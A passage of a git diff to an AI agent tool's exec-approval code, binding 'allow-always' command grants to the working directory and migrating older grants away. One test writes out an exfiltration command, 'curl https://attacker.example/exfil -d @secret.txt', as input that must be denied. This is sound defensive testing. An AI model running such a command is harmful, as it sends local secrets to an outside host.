@@ export async function runDoctorRepairSequence(params: { return params.runWithPluginMetadataSnapshot(resolveCurrentPluginMetadataScope(), run); }; + const removedExecApprovals = repairObsoleteGeneratedExecApprovals(); + if (removedExecApprovals > 0) { + changeNotes.push( + `Exec approvals updated: removed ${removedExecApprovals} older generated ${removedExecApprovals === 1 ? "approval" : "approvals"} that were not tied to a working directory. Manual allowlist rules were not changed. Rerun affected workflows and choose "Always allow here" when prompted.`, + ); + } + const applyMutation = (mutation: { config: DoctorConfigMutationState["candidate"]; changes: string[]; diff --git a/src/infra/exec-approvals-allow-always.test.ts b/src/infra/exec-approvals-allow-always.test.ts index 61b730dacdc6..0a584575b425 100644 --- a/src/infra/exec-approvals-allow-always.test.ts +++ b/src/infra/exec-approvals-allow-always.test.ts @@ -19,7 +19,7 @@ import { resolveAllowAlwaysPatterns, resolveSafeBins, } from "./exec-approvals.js"; -import { buildHashedArgPatternFromArgv, matchAllowlist } from "./exec-command-resolution.js"; +import { buildCwdBoundHashedArgPattern, matchAllowlist } from "./exec-command-resolution.js"; describe("resolveAllowAlwaysPatterns", () => { async function resolvePersistedPatterns(params: { @@ -179,7 +179,7 @@ describe("resolveAllowAlwaysPatterns", () => { expect(entries).toEqual([ { pattern: touch, - argPattern: buildHashedArgPatternFromArgv([touch, marker]), + argPattern: buildCwdBoundHashedArgPattern([touch, marker], dir, process.platform), }, ]); } else { @@ -305,10 +305,11 @@ describe("resolveAllowAlwaysPatterns", () => { }); const entries = decision.kind === "patterns" ? decision.patterns : []; - const expectedArgPattern = buildHashedArgPatternFromArgv([ - curl, - "https://trusted.example/install.sh", - ]); + const expectedArgPattern = buildCwdBoundHashedArgPattern( + [curl, "https://trusted.example/install.sh"], + dir, + process.platform, + ); expect(entries).toEqual([{ pattern: curl, argPattern: expectedArgPattern }]); expect(expectedArgPattern).not.toContain("trusted.example"); @@ -322,6 +323,17 @@ describe("resolveAllowAlwaysPatterns", () => { }); expect(allowed.allowlistSatisfied).toBe(true); + const otherDir = fs.mkdtempSync(path.join(dir, "other-cwd-")); + const moved = await evaluateShellAllowlistWithAuthorization({ + command: "curl https://trusted.example/install.sh", + allowlist: [...entries], + safeBins, + cwd: otherDir, + env, + platform: process.platform, + }); + expect(moved.allowlistSatisfied).toBe(false); + const denied = await evaluateShellAllowlistWithAuthorization({ command: "curl https://attacker.example/exfil -d @secret.txt", allowlist: [...entries], @@ -403,6 +415,7 @@ describe("resolveAllowAlwaysPatterns", () => { it("keeps Windows strict inline-eval interpreter approvals argv-bound", () => { const awk = "C:\\temp\\awk.exe"; + const cwd = "C:\\workspace"; const resolution = makeMockCommandResolution({ execution: makeMockExecutableResolution({ rawExecutable: awk, @@ -418,6 +431,7 @@ describe("resolveAllowAlwaysPatterns", () => { resolution, }, ], + cwd, platform: "win32", strictInlineEval: true, }); @@ -430,6 +444,7 @@ describe("resolveAllowAlwaysPatterns", () => { resolution.execution ?? null, [awk, "-F", ",", "-f", "script.awk", "data.csv"], "win32", + cwd, ); expect(matched?.pattern).toBe(awk); expect(typeof matched?.argPattern).toBe("string"); @@ -439,30 +454,55 @@ describe("resolveAllowAlwaysPatterns", () => { resolution.execution ?? null, [awk, "-f", "other.awk", "secrets.csv"], "win32", + cwd, ), ).toBeNull(); }); it("keeps hashed arg patterns injective for empty argv tails", () => { const tool = "/usr/bin/tool"; + const cwd = "/workspace"; const resolution = makeMockExecutableResolution({ rawExecutable: tool, resolvedPath: tool, executableName: "tool", }); - const zeroArgsPattern = buildHashedArgPatternFromArgv([tool]); - const emptyArgsPattern = buildHashedArgPatternFromArgv([tool, "", ""]); + const zeroArgsPattern = buildCwdBoundHashedArgPattern([tool], cwd, "linux"); + const emptyArgsPattern = buildCwdBoundHashedArgPattern([tool, "", ""], cwd, "linux"); expect(zeroArgsPattern).not.toBe(emptyArgsPattern); expect( - matchAllowlist([{ pattern: tool, argPattern: zeroArgsPattern }], resolution, [tool]), + matchAllowlist( + [{ pattern: tool, argPattern: zeroArgsPattern }], + resolution, + [tool], + "linux", + cwd, + ), ).toEqual({ pattern: tool, argPattern: zeroArgsPattern, }); expect( - matchAllowlist([{ pattern: tool, argPattern: zeroArgsPattern }], resolution, [tool, "", ""]), + matchAllowlist( + [{ pattern: tool, argPattern: zeroArgsPattern }], + resolution, + [tool, "", ""], + "linux", + cwd, + ), ).toBeNull(); + + const legacyPattern = "sha256:argv:obsolete"; + expect( + matchAllowlist([{ pattern: tool, argPattern: legacyPattern }], resolution, [tool]), + ).toBeNull(); + }); + + it("uses the shared cross-platform cwd-bound hash format", () => { + expect( + buildCwdBoundHashedArgPattern(["/usr/bin/printf", "hello world", ""], "/workspace", "linux"), + ).toBe("sha256:cwd-argv:v1:2b4f4aed226aa1fd771c852b8f74e4c162d440aafaf60bfef19746f3b2ee5890"); }); it.each([ @@ -471,58 +511,57 @@ describe("resolveAllowAlwaysPatterns", () => { argvPrefix: [], fileFlag: "-File", scriptArgs: [""], - expectedArgPattern: "^\x00$", }, { name: "PowerShell file alias argument", argvPrefix: [], fileFlag: "-fi", scriptArgs: ["arg"], - expectedArgPattern: "^arg\x00$", }, { name: "empty PowerShell file argument after dispatch unwrap", argvPrefix: ["env"], fileFlag: "/file", scriptArgs: [""], - expectedArgPattern: "^\x00$", }, - ])( - "persists allow-always patterns for $name", - ({ argvPrefix, fileFlag, scriptArgs, expectedArgPattern }) => { - const dir = makeExecApprovalsTempDir(); - makeExecutable(dir, "env"); - makeExecutable(dir, "pwsh"); - const scriptPath = path.join(dir, "script.ps1"); - fs.writeFileSync(scriptPath, ""); - fs.chmodSync(scriptPath, 0o755); - const env = makePathEnv(dir); - const analysis = analyzeArgvCommand({ - argv: [...argvPrefix, "pwsh", fileFlag, scriptPath, ...scriptArgs], - cwd: dir, - env, - }); - expect(analysis.ok).toBe(true); + ])("persists allow-always patterns for $name", ({ argvPrefix, fileFlag, scriptArgs }) => { + const dir = makeExecApprovalsTempDir(); + makeExecutable(dir, "env"); + makeExecutable(dir, "pwsh"); + const scriptPath = path.join(dir, "script.ps1"); + fs.writeFileSync(scriptPath, ""); + fs.chmodSync(scriptPath, 0o755); + const env = makePathEnv(dir); + const analysis = analyzeArgvCommand({ + argv: [...argvPrefix, "pwsh", fileFlag, scriptPath, ...scriptArgs], + cwd: dir, + env, + }); + expect(analysis.ok).toBe(true); - const entries = resolveAllowAlwaysPatternEntries({ - segments: analysis.segments, - cwd: dir, - env, - platform: "win32", - }); - expect(entries).toEqual([{ pattern: scriptPath, argPattern: expectedArgPattern }]); + const entries = resolveAllowAlwaysPatternEntries({ + segments: analysis.segments, + cwd: dir, + env, + platform: "win32", + }); + expect(entries).toEqual([ + { + pattern: scriptPath, + argPattern: buildCwdBoundHashedArgPattern([scriptPath, ...scriptArgs], dir, "win32"), + }, + ]); - const result = evaluateExecAllowlist({ - analysis, - allowlist: [...entries], - safeBins: new Set(), - cwd: dir, - env, - platform: "win32", - }); - expect(result.allowlistSatisfied).toBe(true); - }, - ); + const result = evaluateExecAllowlist({ + analysis, + allowlist: [...entries], + safeBins: new Set(), + cwd: dir, + env, + platform: "win32", + }); + expect(result.allowlistSatisfied).toBe(true); + }); it("keeps inline awk programs out of allow-always persistence in strict inline-eval mode", async () => { if (process.platform === "win32") { @@ -728,7 +767,7 @@ describe("resolveAllowAlwaysPatterns", () => { env, platform, }); - const expectedArgPattern = buildHashedArgPatternFromArgv([touch, marker]); + const expectedArgPattern = buildCwdBoundHashedArgPattern([touch, marker], dir, platform); expect(entries).toEqual([{ pattern: touch, argPattern: expectedArgPattern }]); const allowed = evaluateExecAllowlist({ @@ -1273,7 +1312,7 @@ $0 \\"$1\\"" touch {marker}`, expect(entries).toEqual([ { pattern: script, - argPattern: buildHashedArgPatternFromArgv([script]), + argPattern: buildCwdBoundHashedArgPattern([script], dir, process.platform), }, ]); @@ -1580,7 +1619,11 @@ $0 \\"$1\\"" touch {marker}`, { pattern: executablePath, source: "allow-always" as const, - argPattern: buildHashedArgPatternFromArgv([executablePath, ...commandArgv.slice(1)]), + argPattern: buildCwdBoundHashedArgPattern( + [executablePath, ...commandArgv.slice(1)], + dir, + process.platform, + ), }, ]; @@ -1751,7 +1794,12 @@ $0 \\"$1\\"" touch {marker}`, env, platform, }); - expect(entries).toEqual([{ pattern: script, argPattern: "^allowed\x00$" }]); + expect(entries).toEqual([ + { + pattern: script, + argPattern: buildCwdBoundHashedArgPattern([script, "allowed"], dir, platform), + }, + ]); const allowed = evaluateExecAllowlist({ analysis, @@ -1806,7 +1854,7 @@ $0 \\"$1\\"" touch {marker}`, env, platform, }); - const expectedArgPattern = buildHashedArgPatternFromArgv([script, "allowed"]); + const expectedArgPattern = buildCwdBoundHashedArgPattern([script, "allowed"], dir, platform); expect(entries).toEqual([{ pattern: script, argPattern: expectedArgPattern }]); const allowed = evaluateExecAllowlist({ @@ -1848,7 +1896,7 @@ $0 \\"$1\\"" touch {marker}`, const hashedInnerEntry = { pattern: tsxPath, source: "allow-always" as const, - argPattern: buildHashedArgPatternFromArgv([tsxPath, "./run.ts"]), + argPattern: buildCwdBoundHashedArgPattern([tsxPath, "./run.ts"], dir, process.platform), }; const staleOuter = await evaluateShellAllowlistWithAuthorization({ diff --git a/src/infra/exec-approvals-allow-always.ts b/src/infra/exec-approvals-allow-always.ts index 64fd468c2aa9..ffba156e8b4c 100644 --- a/src/infra/exec-approvals-allow-always.ts +++ b/src/infra/exec-approvals-allow-always.ts @@ -13,6 +13,7 @@ import { resolveExecApprovalsFromFileInternal } from "./exec-approvals-resolver. import { replaceExecApprovalsSnapshot, updateExecApprovalsSync } from "./exec-approvals-store.js"; import type { ExecAllowlistEntry } from "./exec-approvals.types.js"; import type { ExecAuthorizationPlan } from "./exec-authorization-plan.js"; +import { isCwdBoundHashedArgPattern } from "./exec-command-resolution.js"; import { extractBindableShellWrapperInlineCommand, isShellWrapperInvocation, @@ -514,8 +515,35 @@ export function applyAllowAlwaysDecision(params: { ] : []), ]; - let next = params.file; - let changed = false; + if (!params.agentId) { + throw new Error("Exec allowlist update requires an explicit agent id."); + } + const generatedPatterns = new Set( + entries + .filter((entry) => isCwdBoundHashedArgPattern(entry.argPattern)) + .map((entry) => entry.pattern), + ); + const existingAgent = params.file.agents?.[params.agentId]; + const existingAllowlist = existingAgent?.allowlist ?? []; + const retainedAllowlist = existingAllowlist.filter( + (entry) => + !( + generatedPatterns.has(entry.pattern) && + entry.source === "allow-always" && + !isCwdBoundHashedArgPattern(entry.argPattern) + ), + ); + let next = + retainedAllowlist.length === existingAllowlist.length + ? params.file + : { + ...params.file, + agents: { + ...params.file.agents, + [params.agentId]: { ...existingAgent, allowlist: retainedAllowlist }, + }, + }; + let changed = next !== params.file; for (const entry of entries) { const updated = applyAllowlistEntryUpdate({ file: next, diff --git a/src/infra/exec-approvals-allowlist.ts b/src/infra/exec-approvals-allowlist.ts index b17606b2a9e2..9cefe819642c 100644 --- a/src/infra/exec-approvals-allowlist.ts +++ b/src/infra/exec-approvals-allowlist.ts @@ -5,7 +5,6 @@ import { normalizeOptionalLowercaseString, normalizeOptionalString, } from "@openclaw/normalization-core/string-coerce"; -import { escapeRegExp as escapeRegExpLiteral } from "../shared/regexp.js"; import { isInterpreterLikeAllowlistPattern } from "./command-analysis/inline-eval.js"; import { detectInlineEvalArgv } from "./command-analysis/risks.js"; import { explainShellCommand } from "./command-explainer/extract.js"; @@ -18,7 +17,7 @@ import { import { isWindowsPlatform, matchAllowlist, - buildHashedArgPatternFromArgv, + buildCwdBoundHashedArgPattern, resolveExecutableTrustPath, resolveExecutionTargetCandidatePath, resolveExecutionTargetResolution, @@ -371,6 +370,7 @@ function matchExecutableAllowlistForSegment(params: { candidateResolution: ExecutableResolution | null; effectiveArgv: string[]; platform?: string | null; + cwd?: string; inlineCommand: string | null; isShellWrapperInvocation: boolean; isPositionalCarrierInvocation: boolean; @@ -384,6 +384,7 @@ function matchExecutableAllowlistForSegment(params: { params.candidateResolution, params.effectiveArgv, params.platform, + params.cwd, ); const hasBoundArgPattern = typeof match?.argPattern === "string" && match.argPattern.trim().length > 0; @@ -538,6 +539,7 @@ function resolveSegmentAllowlistMatch(params: { candidateResolution, effectiveArgv: matchArgv, platform: params.context.platform, + cwd: params.context.cwd, inlineCommand, isShellWrapperInvocation, isPositionalCarrierInvocation, @@ -569,6 +571,7 @@ function resolveSegmentAllowlistMatch(params: { }, shellPositionalArgvCandidate.argv, params.context.platform, + params.context.cwd, ) : null; const shellScriptCandidatePath = @@ -600,6 +603,7 @@ function resolveSegmentAllowlistMatch(params: { }, shellScriptArgv, params.context.platform, + params.context.cwd, ) : null; return { @@ -1228,27 +1232,11 @@ function buildScriptArgPatternFromArgv( ); } const scriptArgs = scriptIdx !== -1 ? argv.slice(scriptIdx + 1) : []; - if (!isWindowsPlatform(platform ?? process.platform)) { - return buildHashedArgPatternFromArgv([scriptPath, ...scriptArgs]); - } - const normalized = scriptArgs.map((a) => a.replace(/\//g, "\\")); - if (normalized.length === 0) { - return "^\x00\x00$"; - } - return `^${normalized.map(escapeRegExpLiteral).join("\x00")}\x00$`; + return buildCwdBoundHashedArgPattern([scriptPath, ...scriptArgs], base, platform); } -function buildArgPatternFromArgv(argv: string[], platform?: string | null): string | undefined { - const args = argv.slice(1); - if (!isWindowsPlatform(platform ?? process.platform)) { - return buildHashedArgPatternFromArgv(argv); - } - const normalized = args.map((a) => a.replace(/\//g, "\\")); - if (normalized.length === 0) { - return "^\x00\x00$"; - } - const joined = normalized.join("\x00"); - return `^${escapeRegExpLiteral(joined)}\x00$`; +function buildArgPatternFromArgv(argv: string[], cwd: string, platform?: string | null): string { + return buildCwdBoundHashedArgPattern(argv, cwd, platform); } function addAllowAlwaysPattern( @@ -1341,7 +1329,11 @@ function collectAllowAlwaysPatterns(params: { } } if (!trustPlan.shellWrapperExecutable) { - const argPattern = buildArgPatternFromArgv(segment.argv, params.platform); + const argPattern = buildArgPatternFromArgv( + segment.argv, + params.cwd ?? process.cwd(), + params.platform, + ); addAllowAlwaysPattern(params.out, candidatePath, argPattern); return; } @@ -1368,7 +1360,11 @@ function collectAllowAlwaysPatterns(params: { } const positionalTrustPath = resolveCandidateTrustPath(positionalArgvCandidate.path) ?? positionalArgvCandidate.path; - const argPattern = buildArgPatternFromArgv(positionalArgvCandidate.argv, params.platform); + const argPattern = buildArgPatternFromArgv( + positionalArgvCandidate.argv, + params.cwd ?? process.cwd(), + params.platform, + ); addAllowAlwaysPattern(params.out, positionalTrustPath, argPattern); return; } diff --git a/src/infra/exec-approvals-analysis.ts b/src/infra/exec-approvals-analysis.ts index 0020e8e202a5..ef880ca96e81 100644 --- a/src/infra/exec-approvals-analysis.ts +++ b/src/infra/exec-approvals-analysis.ts @@ -7,7 +7,7 @@ export { analyzeArgvCommand } from "./exec-argv-analysis.js"; export { matchAllowlist, parseExecArgvToken, - buildHashedArgPatternFromArgv, + buildCwdBoundHashedArgPattern, resolveAllowlistCandidatePath, resolveApprovalAuditCandidatePath, resolveApprovalAuditTrustPath, diff --git a/src/infra/exec-approvals-generated-migration.test.ts b/src/infra/exec-approvals-generated-migration.test.ts new file mode 100644 index 000000000000..2db7502aabf4 --- /dev/null +++ b/src/infra/exec-approvals-generated-migration.test.ts @@ -0,0 +1,106 @@ +import path from "node:path"; +import { describe, expect, it } from "vitest"; +import { closeOpenClawStateDatabaseForTest } from "../state/openclaw-state-db.js"; +import { withTestDir } from "../test-helpers/temp-dir.js"; +import { applyAllowAlwaysDecision } from "./exec-approvals-allow-always.js"; +import type { ExecApprovalsFile } from "./exec-approvals-core.js"; +import { + countObsoleteGeneratedExecApprovals, + repairObsoleteGeneratedExecApprovals, +} from "./exec-approvals-generated-migration.js"; +import { loadExecApprovalsReadOnly, saveExecApprovals } from "./exec-approvals-store.js"; +import { testing as execApprovalsStoreTesting } from "./exec-approvals-store.test-support.js"; +import { buildCwdBoundHashedArgPattern } from "./exec-command-resolution.js"; + +describe("generated exec approval migration", () => { + it("reapproval replaces obsolete grants for the same executable", () => { + const current = buildCwdBoundHashedArgPattern(["/usr/bin/git", "status"], "/workspace"); + const updated = applyAllowAlwaysDecision({ + file: { + version: 1, + agents: { + main: { + allowlist: [ + { + pattern: "/usr/bin/git", + source: "allow-always", + argPattern: "sha256:argv:obsolete", + }, + { pattern: "/usr/bin/curl", source: "allow-always" }, + ], + }, + }, + }, + agentId: "main", + decision: { + kind: "patterns", + patterns: [{ pattern: "/usr/bin/git", argPattern: current }], + }, + }); + + expect(updated?.agents?.main?.allowlist).toEqual([ + { pattern: "/usr/bin/curl", source: "allow-always" }, + expect.objectContaining({ + pattern: "/usr/bin/git", + source: "allow-always", + argPattern: current, + }), + ]); + }); + + it("removes inactive generated grants without changing manual or cwd-bound rules", async () => { + await withTestDir({ prefix: "openclaw-exec-approval-migration-" }, async (home) => { + const previousStateDir = process.env.OPENCLAW_STATE_DIR; + process.env.OPENCLAW_STATE_DIR = path.join(home, ".openclaw"); + closeOpenClawStateDatabaseForTest(); + execApprovalsStoreTesting.reset(); + try { + const current = buildCwdBoundHashedArgPattern(["/usr/bin/git", "status"], "/workspace"); + const file: ExecApprovalsFile = { + version: 1, + agents: { + main: { + allowlist: [ + { pattern: "/usr/bin/git", source: "allow-always" }, + { + pattern: "/usr/bin/curl", + source: "allow-always", + argPattern: "sha256:argv:obsolete", + }, + { + pattern: "C:\\Tools\\rg.exe", + source: "allow-always", + argPattern: "^--json\0$", + }, + { pattern: "/usr/bin/git", source: "allow-always", argPattern: current }, + { pattern: "/usr/bin/python3", argPattern: "^script\\.py$" }, + { pattern: "=node-command:marker", source: "allow-always" }, + ], + }, + }, + }; + saveExecApprovals(file); + + expect(countObsoleteGeneratedExecApprovals(loadExecApprovalsReadOnly())).toBe(3); + expect(repairObsoleteGeneratedExecApprovals()).toBe(3); + expect(loadExecApprovalsReadOnly().agents?.main?.allowlist).toEqual([ + expect.objectContaining({ + pattern: "/usr/bin/git", + source: "allow-always", + argPattern: current, + }), + expect.objectContaining({ pattern: "/usr/bin/python3", argPattern: "^script\\.py$" }), + expect.objectContaining({ pattern: "=node-command:marker", source: "allow-always" }), + ]); + } finally { + closeOpenClawStateDatabaseForTest(); + execApprovalsStoreTesting.reset(); + if (previousStateDir === undefined) { + delete process.env.OPENCLAW_STATE_DIR; + } else { + process.env.OPENCLAW_STATE_DIR = previousStateDir; + } + } + }); + }); +}); diff --git a/src/infra/exec-approvals-generated-migration.ts b/src/infra/exec-approvals-generated-migration.ts new file mode 100644 index 000000000000..9263d1a00ec8 --- /dev/null +++ b/src/infra/exec-approvals-generated-migration.ts @@ -0,0 +1,54 @@ +import type { ExecApprovalsFile } from "./exec-approvals-core.js"; +import { updateExecApprovalsSync } from "./exec-approvals-store.js"; +import type { ExecAllowlistEntry } from "./exec-approvals.types.js"; +// Detects and removes generated exec grants that predate cwd-bound authorization. +import { isCwdBoundHashedArgPattern } from "./exec-command-resolution.js"; + +function isObsoleteGeneratedEntry(entry: ExecAllowlistEntry): boolean { + const pattern = entry.pattern.trim(); + return ( + entry.source === "allow-always" && + !pattern.startsWith("=command:") && + !pattern.startsWith("=node-command:") && + !isCwdBoundHashedArgPattern(entry.argPattern) + ); +} + +export function countObsoleteGeneratedExecApprovals(file: ExecApprovalsFile): number { + return Object.values(file.agents ?? {}).reduce( + (count, agent) => count + (agent.allowlist ?? []).filter(isObsoleteGeneratedEntry).length, + 0, + ); +} + +function removeObsoleteGeneratedExecApprovals(file: ExecApprovalsFile): { + file: ExecApprovalsFile; + removed: number; +} { + let removed = 0; + const agents = Object.fromEntries( + Object.entries(file.agents ?? {}).map(([agentId, agent]) => { + const allowlist = (agent.allowlist ?? []).filter((entry) => { + if (!isObsoleteGeneratedEntry(entry)) { + return true; + } + removed += 1; + return false; + }); + return [agentId, { ...agent, allowlist }]; + }), + ); + return removed === 0 ? { file, removed } : { file: { ...file, agents }, removed }; +} + +export function repairObsoleteGeneratedExecApprovals(): number { + let removed = 0; + updateExecApprovalsSync({ + update: (file) => { + const result = removeObsoleteGeneratedExecApprovals(file); + removed = result.removed; + return result.removed > 0 ? result.file : null; + }, + }); + return removed; +} diff --git a/src/infra/exec-approvals-policy.test.ts b/src/infra/exec-approvals-policy.test.ts index 08da8dac32fa..6f3389e5ba1d 100644 --- a/src/infra/exec-approvals-policy.test.ts +++ b/src/infra/exec-approvals-policy.test.ts @@ -8,7 +8,7 @@ import { makeMockExecutableResolution, } from "./exec-approvals-test-helpers.js"; import type { ExecApprovalsFile } from "./exec-approvals.js"; -import { buildHashedArgPatternFromArgv } from "./exec-command-resolution.js"; +import { buildCwdBoundHashedArgPattern } from "./exec-command-resolution.js"; vi.unmock("./exec-approvals.js"); vi.unmock("./exec-approvals-effective.js"); @@ -377,7 +377,7 @@ describe("exec approvals policy helpers", () => { const allowlist = [ { pattern: "/usr/bin/echo", - argPattern: buildHashedArgPatternFromArgv(["/usr/bin/echo", "ok"]), + argPattern: buildCwdBoundHashedArgPattern(["/usr/bin/echo", "ok"], "/tmp"), source: "allow-always" as const, }, ]; diff --git a/src/infra/exec-approvals.ts b/src/infra/exec-approvals.ts index 1511b5bf8a16..f56ba8eb0460 100644 --- a/src/infra/exec-approvals.ts +++ b/src/infra/exec-approvals.ts @@ -21,6 +21,7 @@ import { expandHomePrefix } from "./home-dir.js"; export * from "./exec-approvals-analysis.js"; export * from "./exec-approvals-allowlist.js"; export * from "./exec-approvals-core.js"; +export * from "./exec-approvals-generated-migration.js"; export type { ExecApprovalPolicySnapshot } from "./exec-approval-policy-snapshot.js"; export type { ExecAllowlistEntry } from "./exec-approvals.types.js"; export type { ExecApprovalsDefaultOverrides } from "./exec-approvals-contracts.js"; diff --git a/src/infra/exec-command-resolution.ts b/src/infra/exec-command-resolution.ts index 4c50a7b554f3..427170c97f96 100644 --- a/src/infra/exec-command-resolution.ts +++ b/src/infra/exec-command-resolution.ts @@ -260,10 +260,19 @@ export function resolvePolicyAllowlistCandidatePath( return resolvePolicyTargetCandidatePath(resolution, cwd); } -const HASHED_ARG_PATTERN_PREFIX = "sha256:argv:"; +const LEGACY_HASHED_ARG_PATTERN_PREFIX = "sha256:argv:"; +const CWD_BOUND_HASHED_ARG_PATTERN_PREFIX = "sha256:cwd-argv:v1:"; export function isGeneratedHashedArgPattern(value: string | null | undefined): boolean { - return typeof value === "string" && value.startsWith(HASHED_ARG_PATTERN_PREFIX); + return ( + typeof value === "string" && + (value.startsWith(CWD_BOUND_HASHED_ARG_PATTERN_PREFIX) || + value.startsWith(LEGACY_HASHED_ARG_PATTERN_PREFIX)) + ); +} + +export function isCwdBoundHashedArgPattern(value: string | null | undefined): boolean { + return typeof value === "string" && value.startsWith(CWD_BOUND_HASHED_ARG_PATTERN_PREFIX); } function renderGeneratedArgPatternSubject(argv: string[]): string { @@ -278,17 +287,34 @@ function renderGeneratedHashedArgPatternSubject(argv: string[]): string { .join("")}`; } -export function buildHashedArgPatternFromArgv(argv: string[]): string { - const digest = crypto - .createHash("sha256") - .update(renderGeneratedHashedArgPatternSubject(argv), "utf8") - .digest("hex"); - return `${HASHED_ARG_PATTERN_PREFIX}${digest}`; +function normalizeGrantCwd(cwd: string, platform?: string | null): string { + const effectivePlatform = normalizeLowercaseStringOrEmpty(platform ?? process.platform); + const pathApi = effectivePlatform.startsWith("win") ? path.win32 : path.posix; + return pathApi.normalize(cwd).replaceAll("\\", "/"); } -function matchArgPattern(argPattern: string, argv: string[], platform?: string | null): boolean { - if (argPattern.startsWith(HASHED_ARG_PATTERN_PREFIX)) { - return argPattern === buildHashedArgPatternFromArgv(argv); +export function buildCwdBoundHashedArgPattern( + argv: string[], + cwd: string, + platform?: string | null, +): string { + const normalizedCwd = normalizeGrantCwd(cwd, platform); + const subject = `${Buffer.byteLength(normalizedCwd, "utf8")}\x00${normalizedCwd}\x00${renderGeneratedHashedArgPatternSubject(argv)}`; + const digest = crypto.createHash("sha256").update(subject, "utf8").digest("hex"); + return `${CWD_BOUND_HASHED_ARG_PATTERN_PREFIX}${digest}`; +} + +function matchArgPattern( + argPattern: string, + argv: string[], + cwd: string | undefined, + platform?: string | null, +): boolean { + if (argPattern.startsWith(CWD_BOUND_HASHED_ARG_PATTERN_PREFIX)) { + return cwd !== undefined && argPattern === buildCwdBoundHashedArgPattern(argv, cwd, platform); + } + if (argPattern.startsWith(LEGACY_HASHED_ARG_PATTERN_PREFIX)) { + return false; } // Patterns built by buildArgPatternFromArgv use \x00 as the argument separator and // always include a trailing \x00 sentinel so that every auto-generated pattern @@ -358,6 +384,7 @@ export function matchAllowlist( resolution: ExecutableResolution | null, argv?: string[], platform?: string | null, + cwd?: string, ): ExecAllowlistEntry | null { if (!entries.length) { return null; @@ -402,7 +429,10 @@ export function matchAllowlist( continue; } // Entry has argPattern — check argv match. - if (argv && matchArgPattern(entry.argPattern, argv, platform)) { + if (entry.source === "allow-always" && !isCwdBoundHashedArgPattern(entry.argPattern)) { + continue; + } + if (argv && matchArgPattern(entry.argPattern, argv, cwd, platform)) { return entry; } } diff --git a/src/infra/system-run-cwd-binding.ts b/src/infra/system-run-cwd-binding.ts new file mode 100644 index 000000000000..55f046c06d24 --- /dev/null +++ b/src/infra/system-run-cwd-binding.ts @@ -0,0 +1,60 @@ +/** Captures and revalidates the directory identity used by exec authorization. */ +import fs from "node:fs"; +import path from "node:path"; +import { sameFileIdentity } from "./fs-safe-advanced.js"; +import { hasMutableSymlinkPathComponentSync } from "./system-run-mutable-file-policy.js"; + +export const APPROVAL_CWD_DRIFT_DENIED_MESSAGE = + "SYSTEM_RUN_DENIED: approval cwd changed before execution"; + +export type ApprovedCwdSnapshot = { + cwd: string; + stat: fs.Stats; +}; + +export function captureApprovedCwdSnapshotSync( + cwd: string, +): { ok: true; snapshot: ApprovedCwdSnapshot } | { ok: false; message: string } { + const requestedCwd = path.resolve(cwd); + let cwdLstat: fs.Stats; + let cwdStat: fs.Stats; + let cwdReal: string; + let cwdRealStat: fs.Stats; + try { + cwdLstat = fs.lstatSync(requestedCwd); + cwdStat = fs.statSync(requestedCwd); + cwdReal = fs.realpathSync(requestedCwd); + cwdRealStat = fs.statSync(cwdReal); + } catch { + return { + ok: false, + message: "SYSTEM_RUN_DENIED: approval requires an existing canonical cwd", + }; + } + if (!cwdStat.isDirectory()) { + return { + ok: false, + message: "SYSTEM_RUN_DENIED: approval requires cwd to be a directory", + }; + } + if (hasMutableSymlinkPathComponentSync(requestedCwd) || cwdLstat.isSymbolicLink()) { + return { + ok: false, + message: "SYSTEM_RUN_DENIED: approval requires canonical cwd (no symlink path components)", + }; + } + if ( + !sameFileIdentity(cwdStat, cwdLstat) || + !sameFileIdentity(cwdStat, cwdRealStat) || + !sameFileIdentity(cwdLstat, cwdRealStat) + ) { + return { ok: false, message: "SYSTEM_RUN_DENIED: approval cwd identity mismatch" }; + } + return { ok: true, snapshot: { cwd: cwdReal, stat: cwdStat } }; +} + +/** Rechecks the exact directory object immediately before process launch. */ +export function revalidateApprovedCwdSnapshot(snapshot: ApprovedCwdSnapshot): boolean { + const current = captureApprovedCwdSnapshotSync(snapshot.cwd); + return current.ok && sameFileIdentity(snapshot.stat, current.snapshot.stat); +} diff --git a/src/node-host/invoke-system-run-plan.test.ts b/src/node-host/invoke-system-run-plan.test.ts index 36b3768c51f9..1fe708a6ae16 100644 --- a/src/node-host/invoke-system-run-plan.test.ts +++ b/src/node-host/invoke-system-run-plan.test.ts @@ -695,6 +695,20 @@ describe("hardenApprovedExecutionPaths", () => { ); }); + it("captures the execution host cwd when an approval request omits cwd", () => { + const hardened = hardenApprovedExecutionPaths({ + approvedByAsk: true, + argv: [], + shellCommand: null, + cwd: undefined, + }); + expect(hardened.ok).toBe(true); + if (!hardened.ok) { + throw new Error("unreachable"); + } + expect(hardened.cwd).toBe(fs.realpathSync(process.cwd())); + }); + it("handles shell payloads that invoke absolute-path native binaries", () => { if (process.platform === "win32") { return; diff --git a/src/node-host/invoke-system-run-plan.ts b/src/node-host/invoke-system-run-plan.ts index 61a124dddb8e..6142bf90f795 100644 --- a/src/node-host/invoke-system-run-plan.ts +++ b/src/node-host/invoke-system-run-plan.ts @@ -1,20 +1,14 @@ /** Builds and revalidates system.run approval plans for cwd and executable paths. */ -import fs from "node:fs"; -import path from "node:path"; import { normalizeNullableString } from "@openclaw/normalization-core/string-coerce"; import type { SystemRunApprovalPlan } from "../infra/exec-approvals.js"; import { resolveCommandResolutionFromArgv } from "../infra/exec-command-resolution.js"; import { isBlockedShellWrapperCommand } from "../infra/exec-wrapper-resolution.js"; -import { sameFileIdentity } from "../infra/fs-safe-advanced.js"; import { resolveMutableFileOperandSnapshotSync } from "../infra/system-run-approval-binding.js"; import { formatExecCommand, resolveSystemRunCommandRequest } from "../infra/system-run-command.js"; -import { hasMutableSymlinkPathComponentSync } from "../infra/system-run-mutable-file-policy.js"; - -/** File identity snapshot for the approved working directory. */ -export type ApprovedCwdSnapshot = { - cwd: string; - stat: fs.Stats; -}; +import { + type ApprovedCwdSnapshot, + captureApprovedCwdSnapshotSync, +} from "../infra/system-run-cwd-binding.js"; function shouldPinExecutableForApproval(params: { shellCommand: string | null; @@ -23,53 +17,6 @@ function shouldPinExecutableForApproval(params: { return params.shellCommand === null && (params.wrapperChain?.length ?? 0) === 0; } -function resolveCanonicalApprovalCwdSync( - cwd: string, -): { ok: true; snapshot: ApprovedCwdSnapshot } | { ok: false; message: string } { - const requestedCwd = path.resolve(cwd); - let cwdLstat: fs.Stats; - let cwdStat: fs.Stats; - let cwdReal: string; - let cwdRealStat: fs.Stats; - try { - cwdLstat = fs.lstatSync(requestedCwd); - cwdStat = fs.statSync(requestedCwd); - cwdReal = 